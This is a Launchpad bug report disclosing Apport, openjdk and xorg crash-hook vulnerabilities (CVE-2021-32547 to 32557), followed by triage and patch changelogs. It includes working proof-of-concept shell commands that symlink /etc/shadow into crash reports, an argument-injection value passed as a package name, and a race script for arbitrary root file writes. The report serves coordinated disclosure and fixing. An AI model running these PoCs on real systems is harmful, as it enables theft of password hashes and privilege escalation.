Arbitrary file reads

Bug #1917904 reported by mal on 2021-03-05

This bug affects 1 person 258

Affects	Status	Importance	Assigned to	Milestone
Apport	Fix Released	Critical	Unassigned	Apport 2.21.0
apport (Ubuntu)	Fix Released	Undecided	Unassigned	
Bionic	Fix Released	Undecided	Unassigned	
Focal	Fix Released	Undecided	Unassigned	
Groovy	Fix Released	Undecided	Unassigned	
Hirsute	Fix Released	Undecided	Unassigned	
Impish	Fix Released	Undecided	Unassigned	
openjdk-lts (Ubuntu)				
Bionic	New	Undecided	Unassigned	
Focal	New	Undecided	Unassigned	
Groovy	New	Undecided	Unassigned	
Hirsute	New	Undecided	Unassigned	
Impish	New	Undecided	Unassigned	

Bug Description

```
# Vulnerabilities in Apport
During a cursory code review, several potential security issues in
`apport` and crash-related hooks in packages such as `Xorg` and `openjdk-
14-lts` have been identified.

While the issue regarding the `openjdk-14-lts` package is exploitable
on default installations, the remaining issues most likely are mitigated
by the sysctl setting `fs.protected_symlinks` on default Ubuntu
installations.

With regard to issues mitigated by `fs.protected_symlinks`, it is not
clear if they are considered to be part of the threat model, but
nonetheless will be included in this report. Further, if the issues
regarding package hooks should be reported in the corresponding packages'
bug tracker, please let me know.

## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py
The `add_info()` function allows for a directory traversal by building a
file path using user-controlled data without properly sanitizing the
resulting path.

```Python
def add_info(report, ui=None):
    if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
        # attach hs_err_<pid>.pid file
        cwd = report['ProcCwd']
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            pid = pid_line.groups()[0]
            path = "%s/hs_err_pid%s.log" % (cwd, pid)
            # make sure if exists
            if os.path.exists(path):
                content = read_file(path)
                # truncate if bigger than 100 KB
                # see LP: #1696814
                max_length = 100*1024
                if sys.getsizeof(content) < max_length:
                    report['HotspotError'] = content
                    report['Tags'] += ' openjdk-hs-err'
                else:
                    report['HotspotError'] = content[:max_length] + \
                            "\n[truncated by openjdk-11 apport hook]" + \
                            "\n[max log size is %s, file size was %s]" % \
                            (si_units(max_length), si_units(sys.getsizeof(
content)))
                    report['Tags'] += ' openjdk-hs-err'
```

By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as `0`,
the function includes an arbitrary file by following a potential symbolic
link `/home/user/hs_err_pid0.log`.

PoC
```
$ sudo apt install openjdk-14-jdk

$ sudo sysctl fs.protected_symlinks
fs.protected_symlinks = 1

$ ln -s /etc/shadow /home/user/hs_err_pid0.log

$ pid=$'\t0';cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
 Pid:$pid
 Uid:$pid
EOF

$ grep -A3 root: /var/crash/poc.crash
 root:!:18393:0:99999:7:::
 daemon:*:18375:0:99999:7:::
```
```

```
 bin:*:18375:0:99999:7:::
 sys:*:18375:0:99999:7:::
```

Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info)
The root cause of this issue stems from the fact, that a potentially user-controlled file in the `/tmp` directory is not checked for being a symbolic link and therefore might allow including arbitrary files in the processed crash report:

Note: Requires `fs.protected_symlinks=0`

```Python
def attach_3d_info(report, ui=None):
    ...

    # Compiz internal state if compiz crashed
    if True or report.get('SourcePackage','Unknown') == "compiz" and
"ProcStatus" in report:
        compiz_pid = 0
        pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
        if pid_line:
            compiz_pid = pid_line.groups()[0]
        compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid
        attach_file_if_exists(report, compiz_state_file, "compiz_internal_
states")
```

PoC
```
$ sudo sysctl fs.protected_symlinks=0
fs.protected_symlinks = 0

$ ln -s /etc/shadow /tmp/compiz_internal_state0

$ cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: source_xorg 123
SourcePackage: compiz
ProcStatus:
 Pid:
EOF

$ grep -A3 compiz_internal poc.crash
compiz_internal_states:
 root:!:18686:0:99999:7:::
 daemon:*:18474:0:99999:7:::
 bin:*:18474:0:99999:7:::
```

Issue 3: Spoof modified config files via argument injection (Info)
The `get_modified_conffiles()` function allows to spoof modified configuration files by a controlled package name:

```Python
def get_modified_conffiles(self, package):
...
    dpkg = subprocess.Popen(['dpkg-query', '-W', '--showformat=
${Conffiles}',
                             package], stdout=subprocess.PIPE)
```

By supplying a `package` name such as `--showformat='${Conffiles;6}shadow 1\n'` it is possible to manipulate dpkg-query's output and therefore to include the `shadow` file in the resulting crash report.

Please note however that this function is seemingly only called in the `attach_conffiles()` function, which subsequently requires a UI response of the user to finally include the file in the crash report.

PoC
```
$ dpkg-query -W --showformat='${Conffiles}' --showformat='${Conffiles;
6}shadow 1\n' | head -n2
 /etc/shadow 1
      shadow 1
```

Issue 4: Arbitrary file write in whoopsie-upload-all (Info)
After adding additional information to the crash file, `whoopsie-upload-all` does not check if the crash file was replaced by a symbolic link before writing the extended report back into the file. Thus, replacing the crash file with a symbolic link allows to write into arbitrary files using `whoopsie-upload-all`'s elevated privileges. By using a program's lax configuration parsing (e.g. `logrotate`), this might lead to code execution.

Note: Requires `fs.protected_symlinks=0`

```Python
def process_report(report):
    '''Collect information for a report and mark for whoopsie upload
    ...
        # write updated report, we use os.open and os.fdopen as
        # /proc/sys/fs/protected_regular is set to 1 (LP: #1848064)
        fd = os.open(report, os.O_WRONLY | os.O_APPEND)
        with os.fdopen(fd, 'wb') as f:
            os.chmod(report, 0)
            r.write(f, only_new=True)
            os.chmod(report, 0o640)
```

PoC
```
$ sudo sysctl fs.protected_symlinks
fs.protected_symlinks = 0

$ cat ex.sh
TARGET="/JRN"
while :; do
```

ubuntu18
van

Patches
proposed hirsute debdiff
proposed groovy debdiff
proposed focal debdiff
proposed bionic debdiff
Add patch

```
  FN="/var/crash/$RANDOM.poc.crash"
  pid=$'\t0';cat << EOF > $FN
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
 Pid:$pid
 Uid:$pid
EOF
  while :; do
    if ps aux|grep -q "[w]hoopsie-upload-all";then break; fi
  done
  sleep 0.3
  rm -f $FN
  ln -s $TARGET $FN

  if [ -s /JRN ]; then echo DONE.; break; fi
done

$ sudo touch /JRN; ls -l /JRN # simulating file in e.g. /etc/logrotate.d/
-rw-r--r-- 1 root root 0 M�r 3 14:15 /JRN

$ bash ex.sh
DONE.

$ ls -l /JRN; sudo head -n3 /JRN
-rw-r----- 1 root root 105028 M�r 3 14:16 /JRN
ApportVersion: 2.20.11-0ubuntu27.16
Architecture: amd64
CasperMD5CheckResult: skip
```

```
# Credits
Please credit <email address hidden> (@fktio) if the issues are considered
valid. Further, please coordinate the patch release date with us, in case
we consider publishing a short article about these issues.

Best regards,
maik
```

See original description

CVE References

2021-32547
2021-32548
2021-32549
2021-32550
2021-32551
2021-32552
2021-32553
2021-32554
2021-32555
2021-32556
2021-32557

mal (mallle) on 2021-03-05

description:updated
description:updated

mal (mallle) on 2021-03-05

description:updated

mal (mallle) wrote on 2021-05-08: #1

With the report being open for 2 months without a response I kindly wanted
to ask if the issues will be addressed or are considered out-of-scope?

Best regards,
maik

Marc Deslauriers (mdeslaur) wrote on 2021-05-08: #2

The bug was overlooked as it was filed against the upstream Apport project
which isn't monitored. I've reassigned it to the apport package in Ubuntu
now, and I'll take a look this week.

affects:apport → apport (Ubuntu)

Marc Deslauriers (mdeslaur) wrote on 2021-05-10: #3

issue #1 affects openjdk-lts, openjdk-8, openjdk-13, openjdk-14, openjdk-
15, openjdk-16, openjdk-17
issue #2 affects xorg, xorg-hwe-18.04
issues #3 and #4 affect apport

Seth Arnold (seth-arnold) wrote on 2021-05-10: #4

Nice report Mal, thanks.

CVE-2021-32547 (openjdk-lts) -- add_info() arbitary file read
CVE-2021-32548 (openjdk-8) -- add_info() arbitary file read
CVE-2021-32549 (openjdk-13) -- add_info() arbitary file read
CVE-2021-32550 (openjdk-14) -- add_info() arbitary file read
CVE-2021-32551 (openjdk-15) -- add_info() arbitary file read
CVE-2021-32552 (openjdk-16) -- add_info() arbitary file read
CVE-2021-32553 (openjdk-17) -- add_info() arbitary file read

CVE-2021-32554 (xorg) -- attach_3d_info() arbitrary file read
CVE-2021-32555 (xorg-hwe-18.04) -- attach_3d_info() arbitrary file read
CVE-2021-32556 (apport) -- get_modified_conffiles() incorrect changed
files
CVE-2021-32557 (apport) -- process_report() arbitrary file write

I'm not sure about the fs.protected_symlinks aspect -- perhaps some apport
users need to have this feature disabled for some reason, we shouldn't
leave them entirely out in the cold -- but the fact that a simple
configuration option that we turn on by default mitigates this entire
class of problems is compelling.

Should we raise the fs.protected_symlinks handling on oss-security for
wider discussion? Perhaps it's time we just treat that as an expected
kernel feature.

Thanks

mal (mallle) wrote on 2021-05-11: #5

Hello,

thank you for handling this and sorry for filing the bug against the
upstream Apport project.

As for the fs.protected_symlinks handling, I'm very much interested in a
wider discussion. I'm leaning towards treating that to be an expected
mitigation but I'm more than interested in getting opinions from the
community.

Thanks,
maik

Marc Deslauriers (mdeslaur) wrote on 2021-05-11: #6

I will be working on patches for these issues today. Once we have an
appropriate set of patches, I will check if Debian ships the affected
scripts too, and will coordinate a proper CRD.

Marc Deslauriers (mdeslaur) wrote on 2021-05-12: #7

What version of Ubuntu did you try your reproducers on? I'm having trouble
getting them to work...

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #8

I managed to reproduce the issues, whoopsie needs to be configured to
automatically send the reports without manual intervention for the
reproducers to work.

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #13

Brian, could you please take a look and review these debdiffs?

Maik, could you do the same?

Thanks!

mal (mallle) wrote on 2021-05-13: #14

Marc, sorry for the delay, we have a national holiday today.
I tested it against a default Ubuntu 20.04 installation.

Regarding the patches, I'm not entirely sure if they are the correct ones,
I only find references to pam_faillock. Sorry if I missed something, I
just quickly glanced over them.

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #15

Oh, I attached the wrong debdiffs...whoops.

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #16

proposed hirsute debdiff (5.5 KiB, text/plain)

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #17

proposed groovy debdiff (5.5 KiB, text/plain)

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #18

proposed focal debdiff (5.5 KiB, text/plain)

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #19

proposed bionic debdiff (5.5 KiB, text/plain)

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #20

Here are the right debdiffs this time :)

Brian Murray (brian-murray) wrote on 2021-05-13: #21

The debdiff for hirsute looks good to me, thanks! Could this error message
be more specific though?

+ return 'Error: could not open file!'

Marc Deslauriers (mdeslaur) wrote on 2021-05-13: #22

Sure...do you have a suggestion?

How about "Error: path was not a regular file."

Brian Murray (brian-murray) wrote on 2021-05-13: #23

That sounds like an accurate description to me!

mal (mallle) wrote on 2021-05-14: #24

The patches look good to me.

Marc Deslauriers (mdeslaur) wrote on 2021-05-17: #25

We will be publishing these updates on 2021-05-25. Thanks!

Marc Deslauriers (mdeslaur) wrote on 2021-05-17: #26

We have a policy of only crediting real names in our USN texts. Do you
want me to credit you as "Maik", or do you have a full name I should use?

Marc Deslauriers (mdeslaur) wrote on 2021-05-17: #27

(I will use "<email address hidden> (@fktio)" in our CVE tracker)

Marc Deslauriers (mdeslaur) on 2021-05-25

no longer affects:openjdk-lts (Ubuntu)

Launchpad Janitor (janitor) wrote on 2021-05-25: #29

This bug was fixed in the package apport - 2.20.11-0ubuntu65.1

---

apport (2.20.11-0ubuntu65.1) hirsute-security; urgency=medium

  * SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)
    - apport/hookutils.py: don't follow symlinks and make sure the file
      isn't a FIFO in read_file().
    - test/test_hookutils.py: added symlink tests.
    - CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,
      CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,
      CVE-2021-32555
  * SECURITY UPDATE: info disclosure via modified config files spoofing
    (LP: #1917904)
    - backends/packaging-apt-dpkg.py: properly terminate arguments in
      get_modified_conffiles.
    - CVE-2021-32556
  * SECURITY UPDATE: arbitrary file write (LP: #1917904)
    - data/whoopsie-upload-all: don't follow symlinks and make sure the
      file isn't a FIFO in process_report().
    - CVE-2021-32557

 -- Marc Deslauriers <email address hidden> Tue, 18 May 2021 09:15:10
-0400

Changed in apport (Ubuntu Hirsute):
  status:New → Fix Released

Launchpad Janitor (janitor) wrote on 2021-05-25: #30

This bug was fixed in the package apport - 2.20.9-0ubuntu7.24

---

apport (2.20.9-0ubuntu7.24) bionic-security; urgency=medium

  * SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)
    - apport/hookutils.py: don't follow symlinks and make sure the file
      isn't a FIFO in read_file().
    - test/test_hookutils.py: added symlink tests.
    - CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,
      CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,
      CVE-2021-32555
  * SECURITY UPDATE: info disclosure via modified config files spoofing
    (LP: #1917904)
    - backends/packaging-apt-dpkg.py: properly terminate arguments in
      get_modified_conffiles.
    - CVE-2021-32556
  * SECURITY UPDATE: arbitrary file write (LP: #1917904)
    - data/whoopsie-upload-all: don't follow symlinks and make sure the
      file isn't a FIFO in process_report().
    - CVE-2021-32557

 -- Marc Deslauriers <email address hidden> Tue, 18 May 2021 09:15:10
-0400

Changed in apport (Ubuntu Bionic):
  status:New → Fix Released

Launchpad Janitor (janitor) wrote on 2021-05-25: #31

This bug was fixed in the package apport - 2.20.11-0ubuntu50.7

---

apport (2.20.11-0ubuntu50.7) groovy-security; urgency=medium

  * SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)
    - apport/hookutils.py: don't follow symlinks and make sure the file
      isn't a FIFO in read_file().
    - test/test_hookutils.py: added symlink tests.
    - CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,
      CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,

CVE-2021-32555
  * SECURITY UPDATE: info disclosure via modified config files spoofing
    (LP: #1917904)
    - backends/packaging-apt-dpkg.py: properly terminate arguments in
      get_modified_conffiles.
    - CVE-2021-32556
  * SECURITY UPDATE: arbitrary file write (LP: #1917904)
    - data/whoopsie-upload-all: don't follow symlinks and make sure the
      file isn't a FIFO in process_report().
    - CVE-2021-32557

 -- Marc Deslauriers <email address hidden> Tue, 18 May 2021 09:15:10
-0400

Changed in apport (Ubuntu Groovy):
  status:New → Fix Released

Launchpad Janitor (janitor) wrote on 2021-05-25: #32

This bug was fixed in the package apport - 2.20.11-0ubuntu27.18

---
apport (2.20.11-0ubuntu27.18) focal-security; urgency=medium

  * SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)
    - apport/hookutils.py: don't follow symlinks and make sure the file
      isn't a FIFO in read_file().
    - test/test_hookutils.py: added symlink tests.
    - CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,
      CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,
      CVE-2021-32555
  * SECURITY UPDATE: info disclosure via modified config files spoofing
    (LP: #1917904)
    - backends/packaging-apt-dpkg.py: properly terminate arguments in
      get_modified_conffiles.
    - CVE-2021-32556
  * SECURITY UPDATE: arbitrary file write (LP: #1917904)
    - data/whoopsie-upload-all: don't follow symlinks and make sure the
      file isn't a FIFO in process_report().
    - CVE-2021-32557

 -- Marc Deslauriers <email address hidden> Tue, 18 May 2021 09:15:10
-0400

Changed in apport (Ubuntu Focal):
  status:New → Fix Released

Marc Deslauriers (mdeslaur) on 2021-05-25

information type:Private Security → Public Security

Marc Deslauriers (mdeslaur) on 2021-05-25

information type:Public Security → Private Security

Launchpad Janitor (janitor) wrote on 2021-05-26: #33

This bug was fixed in the package apport - 2.20.11-0ubuntu67

---
apport (2.20.11-0ubuntu67) impish; urgency=medium

  * SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)
    - apport/hookutils.py: don't follow symlinks and make sure the file
      isn't a FIFO in read_file().
    - test/test_hookutils.py: added symlink tests.
    - CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,
      CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,
      CVE-2021-32555
  * SECURITY UPDATE: info disclosure via modified config files spoofing
    (LP: #1917904)
    - backends/packaging-apt-dpkg.py: properly terminate arguments in
      get_modified_conffiles.
    - CVE-2021-32556
  * SECURITY UPDATE: arbitrary file write (LP: #1917904)
    - data/whoopsie-upload-all: don't follow symlinks and make sure the
      file isn't a FIFO in process_report().
    - CVE-2021-32557

 -- Marc Deslauriers <email address hidden> Tue, 18 May 2021 09:15:10
-0400

Changed in apport (Ubuntu Impish):
  status:New → Fix Released

Seth Arnold (seth-arnold) on 2021-06-12

information type:Private Security → Public Security

SatoshiNakamoto (evansanita713) on 2021-06-19

Changed in apport (Ubuntu Bionic):
assignee:nobody → SatoshiNakamoto (evansanita713)

Marc Deslauriers (mdeslaur) on 2021-06-19

Changed in apport (Ubuntu Bionic):
assignee:SatoshiNakamoto (evansanita713) → nobody

SatoshiNakamoto (evansanita713) on 2021-06-19

Changed in apport (Ubuntu Bionic):

```
        assignee:nobody → SatoshiNakamoto (evansanita713)
Changed in apport (Ubuntu Focal):
        assignee:nobody → SatoshiNakamoto (evansanita713)
Changed in apport (Ubuntu Groovy):
        assignee:nobody → SatoshiNakamoto (evansanita713)
Changed in apport (Ubuntu Hirsute):
        assignee:nobody → SatoshiNakamoto (evansanita713)
Changed in apport (Ubuntu Impish):
        assignee:nobody → SatoshiNakamoto (evansanita713)
information type:Public Security → Private Security
```

Marc Deslauriers (mdeslaur) on 2021-06-19

```
Changed in apport (Ubuntu Bionic):
        assignee:SatoshiNakamoto (evansanita713) → nobody
Changed in apport (Ubuntu Focal):
        assignee:SatoshiNakamoto (evansanita713) → nobody
Changed in apport (Ubuntu Groovy):
        assignee:SatoshiNakamoto (evansanita713) → nobody
Changed in apport (Ubuntu Hirsute):
        assignee:SatoshiNakamoto (evansanita713) → nobody
Changed in apport (Ubuntu Impish):
        assignee:SatoshiNakamoto (evansanita713) → nobody
information type:Private Security → Public Security
```

SatoshiNakamoto (evansanita713) on 2021-06-30

```
Changed in apport (Ubuntu Impish):
assignee:nobody → SatoshiNakamoto (evansanita713)
```

Marc Deslauriers (mdeslaur) on 2021-06-30

```
Changed in apport (Ubuntu Impish):
assignee:SatoshiNakamoto (evansanita713) → nobody
```

Benjamin Drung (bdrung) on 2022-06-27

```
Changed in apport:
importance:Undecided → Critical
 milestone:none → 2.21.0
    status:New → Fix Released
```

See full activity log

To post a comment you must log in.